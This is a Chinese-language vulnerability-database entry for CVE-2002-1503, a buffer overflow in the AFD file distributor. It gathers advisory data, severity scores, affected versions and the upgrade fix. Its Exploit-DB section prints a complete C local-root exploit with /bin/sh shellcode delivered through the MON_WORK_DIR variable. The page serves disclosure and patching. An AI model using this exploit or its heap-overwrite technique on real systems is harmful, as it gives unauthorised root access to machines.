CVE-2002-1503
发布时间 :2003-04-02 00:00:00
修订时间 :2008-09-05 16:30:46
N M C O E S
[原文] Buffer overflow in Automatic File Distributor (AFD) 1.2.14 and earlier allows local users to gain privileges via a long MON_WORK_DIR environment variable or -w (workdir) argument to (1) afd, (2) afdcmd, (3) afd_ctrl, (4) init_afd, (5) mafd, (6) mon_ctrl, (7) show_olog, or (8) udc.
[CNNVD] 多个AFD工作目录本地缓冲区溢出漏洞 (CNNVD-200304-023 )
Automatic File Distributor (AFD) 1.2.14及其之前版本存在缓冲区溢出漏洞。本地用户借助超长MON_WORK_DIR环境变量或者(1)afd,(2) afdcmd,(3)afd_ctrl,(4)init_afd,(5)mafd,(6)mon_ctrl,(7)show_olog,或者(8)udc的-w (workdir)参数提升特权。
-
CVSS (基础分值)
CVSS分值:
7.2
[严重(HIGH)]
机密性影响:
COMPLETE
[完全的信息泄露导致所有系统文件暴露]
完整性影响:
COMPLETE
[系统完整性可被完全破坏]
可用性影响:
COMPLETE
[可能导致系统完全宕机]
攻击复杂度:
LOW
[漏洞利用没有访问限制 ]
攻击向量:
LOCAL
[漏洞利用需要具有物理访问权限或本地帐户]
身份认证:
NONE
[漏洞利用无需身份认证]
-
CPE (受影响的平台与产品)
cpe:/a:afd:afd:1.2 cpe:/a:afd:afd:1.2.4 cpe:/a:afd:afd:1.2.1 cpe:/a:afd:afd:1.2.13 cpe:/a:afd:afd:1.2.11 cpe:/a:afd:afd:1.2.7 cpe:/a:afd:afd:1.2.3 cpe:/a:afd:afd:1.2.10 cpe:/a:afd:afd:1.2.6 cpe:/a:afd:afd:1.2.2 cpe:/a:afd:afd:1.2.14 cpe:/a:afd:afd:1.2.9 cpe:/a:afd:afd:1.2.5 cpe:/a:afd:afd:1.2.12 cpe:/a:afd:afd:1.2.8
-
OVAL (用于检测的技术细节)
-
官方数据库链接
-
其它链接及资源
-
漏洞信息
漏洞名称: 多个AFD工作目录本地缓冲区溢出漏洞
紧急程度: 高危
漏洞类型: 缓冲区溢出
发布日期: 2003-04-02 00:00:00
更新日期: 2005-10-20 00:00:00
攻击路径: 本地
详细介绍:
Automatic File Distributor (AFD) 1.2.14及其之前版本存在缓冲区溢出漏洞。本地用户借助超长MON_WORK_DIR环境变量或者(1)afd,(2) afdcmd,(3)afd_ctrl,(4)init_afd,(5)mafd,(6)mon_ctrl,(7)show_olog,或者(8)udc的-w (workdir)参数提升特权。
-
公告与补丁
The vendor has addressed this issue in AFD versions 1.2.15 and later. Those affected by this vulnerability are advised to upgrade. AFD AFD 1.2 AFD AFD 1.2.1 AFD AFD 1.2.10 AFD AFD 1.2.11 AFD AFD 1.2.12 AFD AFD 1.2.13 AFD AFD 1.2.14 AFD AFD 1.2.2 AFD AFD 1.2.3 AFD AFD 1.2.4 AFD AFD 1.2.5 AFD AFD 1.2.6 AFD AFD 1.2.7 AFD AFD 1.2.8 AFD AFD 1.2.9
-
漏洞信息 (21771)
漏洞名称: AFD 1.2.x Working Directory Local Buffer Overflow Vulnerabilities (EDBID:21771)
影响平台: unix
漏洞类型: local
发布日期: 2002-09-04
确认状态: Verified
漏洞端口: 0
代码作者: eSDee
系统下载:
N/A
代码下载:
[点击下载]
source: http://www.securityfocus.com/bid/5626/info
AFD (Automatic File Distributor) is prone to a number of locally exploitable stack and heap based buffer overflow conditions. These issues are all related to insufficient bounds checking of externally supplied values for the working directory, either via the command line or through an environment variable.
A number of the vulnerable AFD binaries are installed setuid root and may potentially be exploited by a local attacker to execute arbitrary code as root.
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
char shellcode[] =
"\xeb\x0a" /* 10-byte-jump; setreuid(0,0); execve /bin/sh; exit(0); */
"--netric--"
"\x31\xc0\x31\xdb\x31\xc9\xb0\x46\xcd\x80\x31\xc0\x50\x68\x2f\x2f"
"\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x8d\x54\x24\x08\x50\x53\x8d"
"\x0c\x24\xb0\x0b\xcd\x80\x31\xc0\xb0\x01\xcd\x80";
int
main(int argc, char *argv[])
{
char buffer[1135];
unsigned int retloc = 0xbfffe360;
unsigned int ret = 0x0806f020; /* &shellcode */
if (argc > 1) retloc = strtoul(argv[1], &argv[1], 16);
if (argc > 2) ret = strtoul(argv[2], &argv[2], 16);
memset(buffer, 0x41, sizeof(buffer));
memcpy(buffer, "MON_WORK_DIR=",13);
memcpy(buffer+13, shellcode, strlen(shellcode));
buffer[1117] = 0xff; /* prev_size */
buffer[1118] = 0xff;
buffer[1119] = 0xff;
buffer[1120] = 0xff;
buffer[1121] = 0xfc; /* size field */
buffer[1122] = 0xff;
buffer[1123] = 0xff;
buffer[1124] = 0xff;
buffer[1126] = (retloc & 0x000000ff); /* FD */
buffer[1127] = (retloc & 0x0000ff00) >> 8;
buffer[1128] = (retloc & 0x00ff0000) >> 16;
buffer[1129] = (retloc & 0xff000000) >> 24;
buffer[1130] = (ret & 0x000000ff); /* BK */
buffer[1131] = (ret & 0x0000ff00) >> 8;
buffer[1132] = (ret & 0x00ff0000) >> 16;
buffer[1133] = (ret & 0xff000000) >> 24;
buffer[1134] = 0x0;
putenv(buffer);
fprintf(stdout, "AFD 1.2.14 local root exploit by eSDee of Netric (www.netric.org)\n");
fprintf(stdout, "-----------------------------------------------------------------\n");
fprintf(stdout, "Ret = 0x%08x\n", ret);
fprintf(stdout, "Retloc = 0x%08x\n", retloc);
execl("/bin/mon_ctrl", "mon_ctrl", NULL);
return 0;
}
-
漏洞信息
OSVDBID:
14542
漏洞名称: Automatic File Distributor (AFD) afd MON_WORK_DIR Environment Variable Local Overflow
漏洞位置:
利用方式:
Input Manipulation
漏洞影响: Loss of Integrity
解决方式:
漏洞利用:
公开方式:
-
漏洞描述
-
时间线
公开日期:
2002-09-04
发现日期:
Unknow
利用日期: Unknow
解决日期: Unknow
-
解决方案
Products
Unknown or Incomplete
-
相关参考
-
漏洞作者
-
漏洞信息
漏洞名称: Multiple AFD Working Directory Local Buffer Overflow Vulnerabilities
漏洞分类:
Boundary Condition Error
BugtraqID:
5626
远程溢出: No
本地溢出: Yes
发布日期: 2002-09-04 12:00:00
更新日期: 2009-07-11 03:56:00
漏洞作者:
Discovery of this issue is credited to the Netric Security Team.
-
受影响的程序版本
AFD AFD 1.2.14
AFD AFD 1.2.13
AFD AFD 1.2.12
AFD AFD 1.2.11
AFD AFD 1.2.10
AFD AFD 1.2.9
AFD AFD 1.2.8
AFD AFD 1.2.7
AFD AFD 1.2.6
AFD AFD 1.2.5
AFD AFD 1.2.4
AFD AFD 1.2.3
AFD AFD 1.2.2
AFD AFD 1.2.1
AFD AFD 1.2
AFD AFD 1.2.15
-
不受影响的程序版本
-
漏洞讨论
AFD (Automatic File Distributor) is prone to a number of locally exploitable stack and heap based buffer overflow conditions. These issues are all related to insufficient bounds checking of externally supplied values for the working directory, either via the command line or through an environment variable. A number of the vulnerable AFD binaries are installed setuid root and may potentially be exploited by a local attacker to execute arbitrary code as root.
-
漏洞利用
The following exploit was provided by eSDee of Netric:
-
解决方案
The vendor has addressed this issue in AFD versions 1.2.15 and later. Those affected by this vulnerability are advised to upgrade.
AFD AFD 1.2
AFD AFD 1.2.1
AFD AFD 1.2.10
AFD AFD 1.2.11
AFD AFD 1.2.12
AFD AFD 1.2.13
AFD AFD 1.2.14
AFD AFD 1.2.2
AFD AFD 1.2.3
AFD AFD 1.2.4
AFD AFD 1.2.5
AFD AFD 1.2.6
AFD AFD 1.2.7
AFD AFD 1.2.8
AFD AFD 1.2.9
-
相关参考